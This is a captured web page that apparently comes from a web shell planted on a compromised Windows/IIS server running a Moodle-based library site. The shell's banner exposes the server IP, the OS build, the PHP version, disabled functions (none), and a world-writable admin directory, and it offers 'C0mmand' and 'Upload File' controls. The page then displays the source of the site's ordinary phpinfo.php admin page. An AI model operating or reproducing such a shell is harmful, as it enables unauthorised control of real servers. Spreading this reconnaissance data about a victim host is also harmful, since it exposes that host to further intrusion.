Server IP : 103.11.96.170 / Your IP : 18.118.207.114 Web Server : Microsoft-IIS/10.0 System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64 User : elibrary.unsap.ac.id ( 0) PHP Version : 7.4.19 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : D:/localhost/lms/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php // phpinfo.php - shows phpinfo for the current server require_once("../config.php"); require_once($CFG->libdir.'/adminlib.php'); admin_externalpage_setup('phpinfo'); echo $OUTPUT->header(); echo '<div class="phpinfo text-ltr">'; ob_start(); phpinfo(INFO_GENERAL + INFO_CONFIGURATION + INFO_MODULES + INFO_VARIABLES); $html = ob_get_contents(); ob_end_clean(); /// Delete styles from output $html = preg_replace('#(\n?<style[^>]*?>.*?</style[^>]*?>)|(\n?<style[^>]*?/>)#is', '', $html); $html = preg_replace('#(\n?<head[^>]*?>.*?</head[^>]*?>)|(\n?<head[^>]*?/>)#is', '', $html); /// Delete DOCTYPE from output $html = preg_replace('/<!DOCTYPE html PUBLIC.*?>/is', '', $html); /// Delete body and html tags $html = preg_replace('/<html.*?>.*?<body.*?>/is', '', $html); $html = preg_replace('/<\/body><\/html>/is', '', $html); echo $html; echo '</div>'; echo $OUTPUT->footer();